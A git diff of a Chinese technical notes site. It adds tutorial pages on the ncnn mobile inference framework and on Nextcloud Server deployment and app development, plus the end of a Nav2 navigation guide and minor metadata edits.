+## 与 ROS 1 navigation 的主要差异
+
+| 维度 | ROS 1 move_base | Nav2 |
+| --- | --- | --- |
+| 中间件 | ROS 1 | ROS 2 + DDS |
+| 编排 | 较固定的 recovery 顺序 | **行为树**，可换 XML |
+| 节点模型 | 普通节点 | **Lifecycle** + bond 看门狗 |
+| 接口 | 多种自定义 | 统一 **nav2_msgs** Action |
+| 扩展 | 改源码较多 | **插件** + YAML |
+
+从 ROS 1 迁移时：先别急着复刻旧参数，用默认 TB3 仿真跑通，再逐项把 `move_base` 参数映射到 `planner_server` / `controller_server` / costmap 插件。
+
+---
+
+## 常见问题排查
+
+| 现象 | 可能原因 | 处理 |
+| --- | --- | --- |
+| 发目标无反应 | 未 Startup / lifecycle 未 active | RViz 面板 Startup 或调 `manage_nodes` |
+| 全局规划失败 | 无初始位姿、目标在障碍物内 | 2D Pose Estimate；检查 goal 是否在自由空间 |
+| 机器人不动但无报错 | `cmd_vel` 未接到底盘；TF 断链 | `ros2 topic echo /cmd_vel`；`ros2 run tf2_tools view_frames` |
+| 贴墙抖、绕障怪 | 膨胀半径、footprint、控制器增益 | 调 local costmap inflation 与 RPP/DWB 参数 |
+| 仿真时间错乱 | `use_sim_time` 不一致 | 全局统一 `use_sim_time:=True` 并开 `/clock` |
+
+调试命令清单：
+
+```bash
+ros2 lifecycle get /planner_server          # 应为 active [3]
+ros2 topic hz /scan                         # 激光是否进栈
+ros2 run nav2_util lifecycle_bringup autostart  # 部分环境手动拉起
+```
+
+---
+
+## 学习路径建议（零基础 → 能改项目）
+
+1. **跑通仿真**：`tb3_simulation_launch.py`，会用 RViz 设初始位姿与目标。
+2. **读架构图**：对照本文「系统架构」记住 planner / controller / BT / costmap 分工。
+3. **改 YAML**：只改 `desired_linear_vel`、`robot_radius`，观察行为变化。
+4. **换 BT**：复制默认 XML，删掉某种 recovery，看失败时有何不同。
+5. **接真机**：导出自己机器人的 URDF footprint、激光 topic、差速 `cmd_vel`，新建 `my_robot_nav2.yaml`。
+6. **读插件列表**：[Navigation Plugins](https://docs.nav2.org/plugins/index.html) 按底盘类型选控制器（差速常用 RPP 或 DWB；阿克曼用 Smac Hybrid-A* + 相应控制器）。
+
+延伸阅读：
+
+- [Navigation Concepts](https://docs.nav2.org/concepts/index.html) — Lifecycle、BT、Action 设计哲学
+- [Detailed Behavior Tree Walkthrough](https://docs.nav2.org/behavior_trees/overview/detailed_behavior_tree_walkthrough.html) — 默认树逐节点说明
+- [Adding a New Nav2 Task Server](https://docs.nav2.org/tutorials/docs/adding_a_nav2_task_server.html) — 扩展自定义服务器
+- 关联笔记：[[ros2]]（通信基础）、[[moveit2]]（机械臂规划，常与 Nav2 组成移动操作机器人）
+
+---
+
+## 小结
+
+Nav2 不是单个「导航节点」，而是一套 **由行为树编排的、生命周期受控的、插件化可扩展的** 移动机器人导航框架。日常使用时你主要接触三件事：**launch 拉起全栈**、**设初始位姿 + 发 NavigateToPose**、**按机器人调 YAML**。把商场导览的类比换成「地图 + 定位 + 规划 + 控制 + 卡住怎么办」，你就已经握住了 Nav2 的主线；其余插件与 XML，都是在这条主线上换策略、加细节。
diff --git a/src/content/docs/projects/ncnn.md b/src/content/docs/projects/ncnn.md
new file mode 100644
index 000000000..99b3b6bf3
--- /dev/null
+++ b/src/content/docs/projects/ncnn.md
@@ -0,0 +1,255 @@
+---
+title: ncnn — 手机上的「无依赖神经网络放映机」
+来源: https://github.com/Tencent/ncnn
+日期: 2026-06-13
+子分类: 嵌入式
+分类: 操作系统
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**ncnn** 是腾讯开源的高性能神经网络**推理**框架，专为手机、嵌入式和桌面端部署优化。源码托管在 [Tencent/ncnn](https://github.com/Tencent/ncnn)，自 2017 年发布以来持续维护，被微信、QQ 等亿级产品用于端侧 AI。
+
+日常类比：**如果把 [[pytorch]] 训练比作在摄影棚里拍一部电影——灯光、演员、剪辑台一应俱全——那 ncnn 就是装进手机里的「离线放映机」**。
+
+放映机不负责拍戏，也不联网下载新片；它只做一件事：把已经刻录好的胶片（`.param` + `.bin` 模型文件）按固定顺序播放出来。更关键的是，这台放映机**不借任何外部设备**：不需要装 BLAS、NNPACK、CUDA 运行时，纯 C++ 就能在 Android、iOS、Linux、Windows、macOS 甚至 WebAssembly 上转起来。类比到生活：你出差住酒店，有的播放器还得先找前台借 HDMI 线和解码器；ncnn 则是自带电池和屏幕的便携机，拎袋就走。
+
+和 [[tflite-micro]]（面向几 KB RAM 的 MCU）、[[esp-dl]]（深度绑定乐鑫芯片）相比，ncnn 瞄准的是**有操作系统、有多核 CPU、可选 GPU 的移动与边缘设备**。
+
+## 为什么重要
+
+不了解 ncnn，下面几件事就讲不通：
+
+- 为什么微信、QQ 里人脸贴纸、图像滤镜能在**无网、低延迟**下跑起来——背后常是 ncnn 这类端侧推理引擎，而不是每次请求云端
+- 为什么国内 Android 团队做 CNN 部署时，除了 [[onnx]] Runtime 还会单独评估 ncnn——**零第三方运行时依赖**意味着 APK 体积和链接复杂度可控
+- 为什么同一套 PyTorch 模型在 PC 上跑得飞快，塞进手机却要先「转格式」——ncnn 只认静态计算图（param + bin），训练与推理是两套编制
+- 为什么 Vulkan GPU 加速在移动端是「能用就用、不能用就回退 CPU」——ncnn 从设计之初就把 CPU NEON 多线程当作主路径，GPU 是可选增压
+
+典型落地：人脸检测、图像分类、风格迁移、AR 滤镜、离线 OCR 预处理——凡是要在**手机 App、嵌入式 Linux、树莓派**上跑 CNN，且希望安装包体积可控的场景，ncnn 都是常见选型。
+
+## 核心要点
+
+### 1. 推理-only：训练在 PC，设备只「读 param + bin」
+
+ncnn **不支持设备端训练**。标准工作流永远是：
+
+```
+PyTorch / ONNX 训练 → pnnx（或 onnx2ncnn）转换 → model.ncnn.param + model.ncnn.bin → C++ Net 加载 → Extractor 推理
+```
+
+设备上的程序不理解 `backward()`，只理解一张静态计算图。类比：餐厅后厨（训练）和前台取餐窗口（推理）是两套编制。
+
+### 2. 双文件模型：`.param` 描述结构，`.bin` 存权重
+
+| 文件 | 内容 | 类比 |
+| --- | --- | --- |
+| `*.param` | 网络拓扑：每层类型、输入输出 blob 名、卷积核大小等 | 乐谱（先奏什么后奏什么） |
+| `*.bin` | 浮点或量化后的权重张量 | 乐谱对应的演奏录音 |
+
+加载时两步走：`load_param()` 再 `load_model()`。也可用 `load_param_bin()` 加载去掉明文字符串的二进制 param，降低逆向可读性。
+
+### 3. `ncnn::Net` 与 `ncnn::Extractor`
+
+- **`Net`**：整个模型的根对象，解析 param、映射 bin 权重、创建推理会话
+- **`Extractor`**：由 `net.create_extractor()` 得到，一次独立 forward pass；`input(blob, mat)` 喂数据，`extract(blob, mat)` 取结果
+- **线程习惯**：多线程环境下，每个线程应使用自己的 `Extractor`，不要跨线程共享
+
+### 4. `ncnn::Mat`：推理世界的轻量张量
+
+`Mat` 用 `w` / `h` / `c` 表达维度，支持 `from_pixels` / `from_pixels_resize` 从 RGB/BGR 图像构造，以及 `substract_mean_normalize` 做减均值、乘缩放。与 OpenCV `cv::Mat` 可互操作，但内存布局为 SIMD 友好。
+
+### 5. pnnx：现代模型转换器
+
+官方推荐用 **pnnx**（PyTorch Neural Network eXchange）替代零散的 `onnx2ncnn` 手工链：
+
+```bash
+pip install pnnx
+pnnx my_model.onnx
+```
+
+输出包括 `my_model.ncnn.param` / `.ncnn.bin`（部署用）和 `my_model_pnnx.py`（PyTorch 参考实现）。转换时务必用**真实输入 shape** 的 dummy tensor。
+
+### 6. CPU、Vulkan 与量化
+
+| 能力 | 说明 |
+| --- | --- |
+| ARM NEON | Android / iOS 默认加速，多核 `set_num_threads` 可调 |
+| Vulkan | Adreno、Mali 等 GPU offload；驱动质量因机型差异大 |
+| fp16 / int8 | 半精度省内存；整型需校准或 QAT，适合极致性能 |
+
+## 实践案例
+
+### 案例 1：C++ 图像分类完整流程
+
+以下示例改编自官方 AlexNet 教程，展示从读图到输出分类分数的最小闭环：
+
+```cpp
+#include "net.h"
+#include <stdio.h>
+
+int main()
+{
+    ncnn::Net net;
+    net.load_param("alexnet.param");
+    net.load_model("alexnet.bin");
+
+    int w = 640, h = 480;
+    unsigned char* rgb = load_image_rgb("cat.jpg", &w, &h);
+
+    ncnn::Mat in = ncnn::Mat::from_pixels_resize(
+        rgb, ncnn::Mat::PIXEL_RGB, w, h, 227, 227);
+
+    const float mean_vals[3] = {104.f, 117.f, 123.f};
+    in.substract_mean_normalize(mean_vals, 0);
+
+    ncnn::Extractor ex = net.create_extractor();
+    ex.input("data", in);
+
+    ncnn::Mat out;
+    ex.extract("prob", out);
+
+    ncnn::Mat flat = out.reshape(out.w * out.h * out.c);
+    int best = 0;
+    float best_score = -1.f;
+    for (int i = 0; i < flat.w; i++) {
+        if (flat[i] > best_score) {
+            best_score = flat[i];
+            best = i;
+        }
+    }
+    printf("top1 class = %d, score = %.4f\n", best, best_score);
+    net.clear();
+    return 0;
+}
+```
+
+要点：blob 名称 `"data"` / `"prob"` 来自 param 文件；预处理在 `Mat` 上完成；推理结束 `net.clear()` 释放映射。
+
+### 案例 2：Python 用 pnnx 把 PyTorch 模型转成 ncnn
+
+```python
+import torch
+import torchvision
+import pnnx
+
+model = torchvision.models.resnet18(
+    weights=torchvision.models.ResNet18_Weights.DEFAULT)
+model.eval()
+
+x = torch.rand(1, 3, 224, 224)
+pnnx.export(model, "resnet18", x)
+
+print("  resnet18.ncnn.param  — 网络结构")
+print("  resnet18.ncnn.bin   — 权重")
+print("  resnet18_pnnx.py    — PyTorch 参考")
+```
+
+命令行等价：`pnnx resnet18.pt inputshape=[1,3,224,224]`。把生成的 param/bin 拷进 Android `assets` 或 iOS bundle，再用案例一的 C++ 流程加载。**导出时的输入尺寸必须和上线推理一致**。
+
+### 案例 3（进阶）：ncnn2mem 零拷贝嵌入安装包
+
+```bash
+ncnn2mem alexnet.param alexnet.bin alexnet.id.h alexnet.mem.h
+```
+
+```cpp
+#include "alexnet.mem.h"
+#include "alexnet.id.h"
+
+ncnn::Net net;
+net.load_param(alexnet_param_bin);
+net.load_model(alexnet_bin);
+
+ncnn::Extractor ex = net.create_extractor();
+ex.input(alexnet_param_id::BLOB_data, in);
+ex.extract(alexnet_param_id::BLOB_prob, out);
+```
+
+`load_param` / `load_model` 直接引用静态数组缓冲区，推理期间**不能释放**这块内存——适合从 `AAssetManager` 读入后常驻 RAM 的场景。
+
+### 桌面快速验证
+
+```bash
+git clone https://github.com/Tencent/ncnn.git
+cd ncnn && mkdir build && cd build
+cmake -DCMAKE_BUILD_TYPE=Release -DNCNN_VULKAN=ON -DNCNN_BUILD_EXAMPLES=ON ..
+make -j$(nproc)
+./examples/squeezenet ../images/ncnn.png
+```
+
+也可 `pip install ncnn` 获取带 Python 绑定的预编译轮子，适合原型验证。
+
+## 踩过的坑
+
+1. **转换成功但推理结果全错**：先查预处理（RGB vs BGR、均值方差）、pnnx 导出 shape 是否与线上一致、是否忘记 `model.eval()`；用 `*_pnnx.py` 在 PyTorch 侧对比中间层
+2. **param 里 blob 名称找不到**：用文本编辑器打开 `*.ncnn.param` 查 Input/Output 名；二进制 param 必须用 `ncnn2mem` 生成的 `*.id.h` 枚举
+3. **Vulkan 开了反而更慢**：部分机型驱动不成熟，务必用 `benchncnn` 同机对比 CPU vs GPU，不要默认 `set_vulkan_compute(true)`
+4. **动态 shape 踩雷**：ncnn 传统上偏好固定输入；可变分辨率常导出多份 param 或按档位切换，完全动态图需逐层验证 shape
+5. **多线程共享 Extractor**：跨线程复用同一 extractor 会数据竞争，每线程各自 `create_extractor()`
+
+## 适用 vs 不适用场景
+
+**适用**：
+
+- 手机 App / 嵌入式 Linux 上跑 CNN，要求**低依赖、可控 APK 体积**
+- 隐私敏感、需**离线推理**（人脸、滤镜、端侧检测）
+- 已有 PyTorch 模型，愿意走 pnnx → ncnn 转换链
+- 需要 ARM NEON + 可选 Vulkan 的移动端 CPU/GPU 混合加速
+
+**不适用**：
+
+- 无 OS、只有几百 KB RAM 的 MCU → 看 [[tflite-micro]]、[[cmsis-nn]]
+- 深度绑定某家 SoC 且只用官方 SDK → 如乐鑫 [[esp-dl]]
+- 需要训练、微调、自动求导 → 留在 [[pytorch]]，ncnn 只管推理
+- 强依赖完整 ONNX 算子生态、不想维护转换链 → 考虑 ONNX Runtime Mobile
+
+| 框架 | 典型目标 | 和 ncnn 的差异 |
+| --- | --- | --- |
+| [[tflite-micro]] | Cortex-M MCU | KB 级 arena；ncnn 假设 MB 级 RAM |
+| [[esp-dl]] | ESP32 | 专用 `.espdl`；ncnn 跨平台 |
+| ONNX Runtime | 通用 ONNX | 功能全、依赖相对重；ncnn 更轻、移动 CPU 手工优化深 |
+| MNN | 阿里系移动端 | 定位相近；ncnn 社区早、Vulkan 与微信系实践多 |
+
+## 历史小故事（可跳过）
+
+- **2017**：腾讯 nihui 在 GitHub 开源 ncnn，定位「为手机端推理而生的高性能框架」，主打无 BLAS 依赖与 ARM NEON
+- **2018–2019**：微信、QQ 等内部业务大规模采用，社区出现大量 Android/iOS 集成教程与预编译库
+- **2020 前后**：pnnx 逐步取代零散 `caffe2ncnn` / 手工 `onnx2ncnn` 链，PyTorch 成为主流训练入口
+- **2021+**：Vulkan GPU 路径成熟，`ncnn2mem`、int8 量化、WebAssembly 等能力补齐；与 MNN、TFLite 在移动端形成「三足鼎立」选型格局
+- **现状**：仓库 star 数万级，仍由腾讯维护；在「极致轻依赖 + 可控体积」这条轴上，仍是国内移动 CV 团队的默认候选之一
+
+## 学到什么
+
+1. **推理框架不是训练框架的缩小版**：ncnn 砍掉 backward、动态图、自动求导，换来的是可预测的内存与可嵌入的安装包体积
+2. **param + bin 双文件是移动端部署的通用隐喻**：结构与人眼可读（或可二进制化），权重单独 mmap，利于热更新与资产打包
+3. **转换链和推理链一样重要**：pnnx 导出时的 input shape、eval 模式、预处理对齐，决定了上线后「能不能用」而不只是「能不能跑」
+4. **CPU 优先、GPU 可选是移动现实**：NEON 多线程是保底路径；Vulkan 是增压，驱动质量决定要不要开
+5. **生态选型看 TCO**：与 PyTorch 隔一层转换，换来的是链接简单、依赖少——技术选型要把「维护转换脚本」算进总成本
+
+## 延伸阅读
+
+- 官方仓库：[Tencent/ncnn](https://github.com/Tencent/ncnn)
+- PyTorch / ONNX 转换：[use-ncnn-with-pytorch-or-onnx](https://github.com/Tencent/ncnn/blob/master/docs/how-to-use-and-FAQ/use-ncnn-with-pytorch-or-onnx.md)
+- AlexNet 端到端示例：[use-ncnn-with-alexnet](https://github.com/Tencent/ncnn/blob/master/docs/how-to-use-and-FAQ/use-ncnn-with-alexnet.md)
+- 在线文档：[ncnn.readthedocs.io](https://ncnn.readthedocs.io/)
+- Python 包：[pypi.org/project/ncnn](https://pypi.org/project/ncnn/) · [pypi.org/project/pnnx](https://pypi.org/project/pnnx/)
+- [[onnx]] — 常见中间格式，可经 pnnx 或 onnx2ncnn 进入 ncnn
+- [[opencv]] — 图像预处理常与 ncnn 推理并读
+
+## 关联
+
+- 训练侧：[[pytorch]]、[[onnx]]
+- MCU 极小内存：[[tflite-micro]]、[[cmsis-nn]]
+- 乐鑫生态：[[esp-dl]]
+- 移动工程化常与 [[opencv]] 预处理、Android NDK / iOS 打包并读
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
+
+- [[opencv]] —— OpenCV — 开源计算机视觉库与跨平台图像视频处理
+- [[paddle-lite]] —— Paddle Lite — 把飞桨模型装进手机里的「端侧放映机」
+- [[pytorch]] —— PyTorch — 深度学习主流框架
+
diff --git a/src/content/docs/projects/nerdctl.md b/src/content/docs/projects/nerdctl.md
index 7106023ea..05a2034b5 100644
--- a/src/content/docs/projects/nerdctl.md
+++ b/src/content/docs/projects/nerdctl.md
@@ -2,7 +2,7 @@
 title: nerdctl — containerd 官方的 Docker 兼容 CLI
 来源: https://github.com/containerd/nerdctl
 日期: 2026-05-31
-子分类: DevOps 与运维
+子分类: cloud-native
 分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/nestjs.md b/src/content/docs/projects/nestjs.md
index b0d5b49db..6e1b5bef6 100644
--- a/src/content/docs/projects/nestjs.md
+++ b/src/content/docs/projects/nestjs.md
@@ -185,6 +185,7 @@ class UsersController {
 - [[axum]] —— axum — 用 Rust 类型系统当『路由参数表』的 Web 框架
 - [[bullmq]] —— BullMQ — Node.js 上的 Redis 任务队列
 - [[commander]] —— commander.js — Node.js CLI 解析的声明式标准
+- [[drizzle-orm]] —— drizzle-orm
 - [[echo]] —— Echo — 极简高性能 Go 框架，5 行起服务
 - [[elysia]] —— Elysia — 长在 Bun 上的极致类型安全 Web 框架
 - [[express]] —— Express — Node.js 最经典的 Web 框架
diff --git a/src/content/docs/projects/nextcloud-server.md b/src/content/docs/projects/nextcloud-server.md
new file mode 100644
index 000000000..0d3c76704
--- /dev/null
+++ b/src/content/docs/projects/nextcloud-server.md
@@ -0,0 +1,309 @@
+---
+title: Nextcloud Server — 自托管私有云协作平台
+来源: https://github.com/nextcloud/server
+日期: 2026-06-13
+子分类: Web 后端
+分类: 后端 API
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Nextcloud Server** 是开源私有云的核心后端：文件同步、日历、通讯录、在线协作、聊天、视频会议、工作流自动化，都跑在这一套 PHP 应用里。手机/桌面客户端、浏览器、第三方 App 通过 WebDAV、OCS API、REST 与它对话。
+
+日常类比：
+
+- **Dropbox / Google Drive（公有云）** = 你租的**连锁储物柜**：方便，但钥匙在运营商手里，条款一变你就得跟着搬
+- **Nextcloud Server** = 自家地下室改成的**私人档案室 + 会议室**：柜子、门禁、监控规则全由你定；邻居（其他 App）可以挂进来当「插件柜」，但房主始终是你
+
+它从 2016 年 ownCloud 分叉而来，GitHub `nextcloud/server` 是单体仓库：核心在 `lib/`，每个功能以 **App** 形式装在 `apps/` 目录（Files、Calendar、Talk、Deck 等）。这和 [[collabora-online]] 的关系是：Nextcloud 管文件与权限，Collabora 管文档渲染——两者通过 WOPI 协议对接。
+
+## 为什么重要
+
+不理解 Nextcloud Server，下面这些事都解释不清：
+
+- 为什么政企、学校、医院偏爱「数据不出域」方案，而不是直接买 SaaS
+- 为什么 [[collabora-online]]、OnlyOffice、Talk 都把自己定位成 Nextcloud 的「外挂引擎」
+- 自托管场景里 **WebDAV** 为何仍是跨客户端同步的通用语言（macOS Finder、Windows、rclone 都能挂）
+- PHP 单体 + App 插件架构如何支撑数百个官方/社区扩展，而不必每次改核心
+
+对后端开发者，它是学习 **插件化单体、PSR-11 依赖注入、事件总线、虚拟文件系统挂载** 的完整样本；对运维，它是 **Docker / occ CLI / 后台 Cron** 三件套的典型自托管栈。
+
+## 核心概念
+
+### 1. 请求生命周期（Request Lifecycle）
+
+每个 HTTP 请求大致走这条链：
+
+```
+浏览器 / 客户端
+  → index.php（Front Controller）
+  → lib/base.php（初始化 Server 容器、会话、配置）
+  → 加载核心 App（认证、文件系统、日志…）
+  → 各已安装 App 的 IBootstrap::register / boot
+  → appinfo/routes.php 注册路由
+  → App Framework 路由到 Controller
+  → 中间件（鉴权、CORS、限流…）→ 响应
+```
+
+类比：快递进小区——先过大门岗亭（`index.php`），再查业主名录（认证），最后按门牌号（路由）送到具体住户（Controller）。你在 App 里写的业务代码，通常只关心最后一环。
+
+### 2. App 与 App Framework
+
+Nextcloud 的功能以 **App** 为单位分发。每个 App 至少包含：
+
+| 路径 | 作用 |
+|------|------|
+| `appinfo/info.xml` | 元数据：id、版本、依赖、类型（filesystem / dav / …） |
+| `appinfo/routes.php` | URL → Controller 映射 |
+| `lib/AppInfo/Application.php` | 实现 `IBootstrap`，注册 DI 服务、监听事件 |
+| `lib/Controller/` | 处理 HTTP 请求 |
+| `lib/Service/` | 业务逻辑 |
+
+**OCP**（`OCP\` 命名空间）是 App 可调用的**稳定公共 API**；**OC**（`OC\`）是服务器内部实现，App 不应直接依赖。新 API 有时会先在 **NCU** 不稳定命名空间试跑一个主版本，再迁入 OCP。
+
+### 3. 依赖注入（DI）与 IBootstrap
+
+Nextcloud 20+ 推荐 App 的 `Application` 类实现 `OCP\AppFramework\Bootstrap\IBootstrap`：
+
+- **`register()`**：向容器注册服务、事件监听器——此阶段**不能**假设其他 App 已就绪
+- **`boot()`**：所有 `register` 完成后执行，可安全使用文件系统、会话等——但应克制，每次请求都会跑
+
+容器遵循 **PSR-11**，支持构造函数 **自动装配（auto-wiring）**：只要参数类型在容器里可解析，就不必手写 `registerService`。
+
+### 4. 虚拟文件系统（Filesystem）
+
+文件层分两级，类似 Unix 挂载：
+
+1. **Filesystem 层（对用户路径）**：`OCP\Files\Node` API——推荐新代码使用；把 `/alice/Photos/cat.jpg` 翻译成「挂载点 + 内部路径」
+2. **Storage 层（对后端）**：本地磁盘、S3、SFTP、组文件夹（Group Folders）等；可用 **Wrapper** 叠层修改权限、配额、审计行为
+
+每个 Storage 配有 **元数据缓存（Scanner + Cache）**，避免每次 `stat` 都打远程对象存储。WebDAV 入口在 `remote.php/dav/`，桌面客户端同步走的正是这条协议。
+
+### 5. 身份、共享与后台任务
+
+- **用户与组**：本地账户或 LDAP / SAML（通过 User LDAP、OIDC Login 等 App）
+- **共享模型**：用户级共享、链接共享、联邦共享（Federation）；权限在 Storage Wrapper 与 Share Provider 层 enforced
+- **Background Jobs**：索引、通知、提醒依赖 **Cron**——生产环境应用系统 crontab 调 `occ background:cron`，而不是仅靠「页面访问触发」
+- **occ**：命令行管理入口（ownCloud Console 缩写），安装、升级、扫描文件、管用户全靠它
+
+### 6. 对外接口一览
+
+| 接口 | 典型用途 |
+|------|----------|
+| **WebDAV** | 桌面/移动客户端同步文件、日历、通讯录 |
+| **OCS API** | 旧版客户端兼容、`/ocs/v2.php` 共享与能力查询 |
+| **App REST** | 各 App 在 `routes.php` 暴露的 JSON API |
+| **CalDAV / CardDAV** | 标准日历、地址簿（经 DAV App） |
+
+## 代码示例
+
+### 示例 1：Docker Compose 最小可运行栈
+
+下面是一份可本地试玩的编排：Nextcloud + MariaDB + Redis（文件锁与缓存）。数据持久化到命名卷。
+
+```yaml
+# compose.yaml
+services:
+  db:
+    image: mariadb:11
+    restart: unless-stopped
+    command: --transaction-isolation=READ-COMMITTED --binlog-format=ROW
+    environment:
+      MYSQL_ROOT_PASSWORD: changeme_root
+      MYSQL_DATABASE: nextcloud
+      MYSQL_USER: nextcloud
+      MYSQL_PASSWORD: changeme_db
+    volumes:
+      - db:/var/lib/mysql
+
+  redis:
+    image: redis:alpine
+    restart: unless-stopped
+
+  app:
+    image: nextcloud:apache
+    restart: unless-stopped
+    ports:
+      - "8080:80"
+    depends_on:
+      - db
+      - redis
+    environment:
+      MYSQL_HOST: db
+      MYSQL_DATABASE: nextcloud
+      MYSQL_USER: nextcloud
+      MYSQL_PASSWORD: changeme_db
+      REDIS_HOST: redis
+    volumes:
+      - nextcloud:/var/www/html
+
+volumes:
+  db:
+  nextcloud:
+```
+
+启动后访问 `http://localhost:8080` 走网页向导，或改用 **示例 2** 的 `occ` 无头安装。
+
+### 示例 2：命令行安装与日常运维（occ）
+
+安装（需在 Nextcloud 根目录、以 Web 服务器用户执行）：
+
+```bash
+cd /var/www/html
+sudo -E -u www-data php occ maintenance:install \
+  --database mysql \
+  --database-name nextcloud \
+  --database-user nextcloud \
+  --database-pass 'changeme_db' \
+  --admin-user admin \
+  --admin-pass 'changeme_admin'
+
+# Docker 中等价写法：
+docker compose exec --user www-data app php occ maintenance:install \
+  --database mysql --database-name nextcloud \
+  --database-user nextcloud --database-pass changeme_db \
+  --admin-user admin --admin-pass changeme_admin
+```
+
+常见运维命令：
+
+```bash
+# 检查更新
+sudo -u www-data php occ update:check
+
+# 执行升级
+sudo -u www-data php occ upgrade
+
+# 手动把文件拷进 data 目录后，重建索引
+sudo -u www-data php occ files:scan --all
+
+# 安装社区 App（如 TOTP 双因素）
+sudo -u www-data php occ app:install twofactor_totp
+```
+
+### 示例 3：最小 App——路由与 Controller（PHP）
+
+自定义 App `hello` 的 `appinfo/routes.php`：
+
+```php
+<?php
+return [
+    'routes' => [
+        ['name' => 'page#index', 'url' => '/', 'verb' => 'GET'],
+        ['name' => 'page#ping', 'url' => '/ping', 'verb' => 'GET'],
+    ],
+];
+```
+
+`lib/Controller/PageController.php`：
+
+```php
+<?php
+declare(strict_types=1);
+
+namespace OCA\Hello\Controller;
+
+use OCP\AppFramework\Controller;
+use OCP\AppFramework\Http\DataResponse;
+use OCP\IRequest;
+
+class PageController extends Controller {
+    public function __construct(
+        string $appName,
+        IRequest $request,
+    ) {
+        parent::__construct($appName, $request);
+    }
+
+    public function index(): DataResponse {
+        return new DataResponse(['message' => 'Hello from Nextcloud App']);
+    }
+
+    public function ping(): DataResponse {
+        return new DataResponse(['ok' => true]);
+    }
+}
+```
+
+访问路径为 `/index.php/apps/hello/` 与 `/index.php/apps/hello/ping`（具体取决于 `info.xml` 中的路由前缀与是否启用 Pretty URLs）。
+
+### 示例 4：用 WebDAV 列出用户文件（curl）
+
+桌面客户端背后做的也是 PROPFIND，只是换了个壳：
+
+```bash
+curl -u 'alice:APP_PASSWORD' -X PROPFIND \
+  -H 'Depth: 1' \
+  'https://cloud.example.com/remote.php/dav/files/alice/' \
+  | xmllint --format -
+```
+
+说明：生产环境应为应用专用密码（App Password），而非主账户密码；HTTPS 与 `trusted_domains` 配置是硬要求。
+
+## 架构一图
+
+```text
+┌─────────────┐  WebDAV/OCS/REST   ┌──────────────────────────────────┐
+│  Clients    │ ─────────────────► │  index.php → App Framework       │
+│  Browser    │                    │  ┌─────────┐  ┌────────────────┐ │
+│  Desktop    │                    │  │ Core    │  │ Apps (Files,   │ │
+│  Mobile     │                    │  │ Server  │  │ Calendar,Talk) │ │
+└─────────────┘                    │  │ OC\     │  │ OCA\           │ │
+                                   │  └────┬────┘  └───────┬────────┘ │
+                                   │       │    OCP API     │         │
+                                   │       ▼                ▼         │
+                                   │  ┌─────────────────────────────┐ │
+                                   │  │ Node API → Storage/Wrapper  │ │
+                                   │  │ MySQL/PG  Redis  ObjectStore│ │
+                                   │  └─────────────────────────────┘ │
+                                   └──────────────────────────────────┘
+```
+
+## 部署与调优要点
+
+1. **数据库**：生产禁用 SQLite，用 MariaDB/PostgreSQL；`occ db:convert-type` 可从 SQLite 迁移（Community 版）
+2. **后台任务**：`crontab` 每 5 分钟 `php -f /var/www/html/cron.php` 或 `occ background:cron`
+3. **缓存与锁**：Redis 同时承担 memcache 与 **事务文件锁**，多节点前置负载均衡时几乎必选
+4. **反向代理**：Nginx/Traefik 需正确转发 `Host`、`X-Forwarded-*`，并在 `config.php` 配 `overwriteprotocol` / `trusted_proxies`
+5. **大实例**：对象存储（S3 兼容）放 `datadirectory` 外的 blob；预览生成、全文检索是 CPU 大户，应单独评估
+
+## 与生态的关系
+
+- **Collabora / OnlyOffice**：在线编辑；Nextcloud 通过 WOPI 或专用 App 调外部文档服务器
+- **Talk**：基于 WebRTC 的音视频，Signaling 在 Nextcloud App 内，TURN 常另配 [[coturn]]
+- **Deck / Forms / Notes**：官方生产力 App，共享同一套用户、组、通知系统
+- **客户端**：Desktop（C++）、Android/iOS 原生 App，均走 WebDAV + 部分 OCS/REST
+
+## 常见坑
+
+| 现象 | 常见原因 |
+|------|----------|
+| 上传大文件失败 | PHP `upload_max_filesize`、Nginx `client_max_body_size`、超时 |
+| 同步冲突文件泛滥 | 多客户端同时改同一文件；检查客户端版本与服务器版本匹配 |
+| `occ` Permission denied | 未用 `www-data`（或容器内 `www-data`）执行；Docker 里应在容器内跑而非宿主机挂卷路径 |
+| 升级后白屏 | 第三方 App 不兼容；`occ app:list` 后 `occ app:disable` 嫌疑 App |
+| 外网无法访问 | `trusted_domains` 未加域名；反代未传 HTTPS 头 |
+
+## 学习路径建议
+
+1. **用户视角**：Docker 起一个实例，挂桌面客户端，感受 WebDAV 同步
+2. **管理员视角**：练熟 `occ` 安装、升级、`files:scan`、备份 `data/` + 数据库
+3. **开发者视角**：读官方 Tutorial App，实现一个带 `IBootstrap` 的小 App，注册事件监听
+4. **深入**：读 Files 源码里的 Mount + Storage Wrapper；对照 [[collabora-online]] 理解 WOPI 集成
+
+## 自测题
+
+1. `OCP` 与 `OC` 命名空间的分工是什么？App 为什么只能依赖前者？
+2. `register()` 和 `boot()` 两阶段各自允许做什么、禁止做什么？
+3. 为什么生产环境推荐系统 Cron 而不是 Ajax Cron？
+4. WebDAV 路径 `/remote.php/dav/files/用户名/` 与 Storage 层的 Mount 是什么关系？
+5. 零知识加密下，Nextcloud 服务端管理员能否读取用户文件明文？（提示：Server-side encryption App 的权衡）
+
+## 参考资料
+
+- 官方仓库：https://github.com/nextcloud/server
+- 开发者手册（请求生命周期）：https://docs.nextcloud.com/server/latest/developer_manual/basics/request_lifecycle.html
+- 架构与文件系统：https://docs.nextcloud.com/server/latest/developer_manual/core/architecture/
+- 管理员手册（occ）：https://docs.nextcloud.com/server/stable/admin_manual/occ_command.html
+- Docker 官方镜像：https://hub.docker.com/_/nextcloud
diff --git a/src/content/docs/projects/nextflow.md b/src/content/docs/projects/nextflow.md
new file mode 100644
index 000000000..c8bee6b02
--- /dev/null
+++ b/src/content/docs/projects/nextflow.md
@@ -0,0 +1,229 @@
+---
+title: Nextflow 零基础学习笔记
+来源: https://github.com/nextflow-io/nextflow
+日期: 2026-06-13
+分类: 机器学习
+子分类: 生物信息
+provenance: pipeline-v3
+---
+
+# Nextflow 零基础学习笔记
+
+## 一、Nextflow 是什么？
+
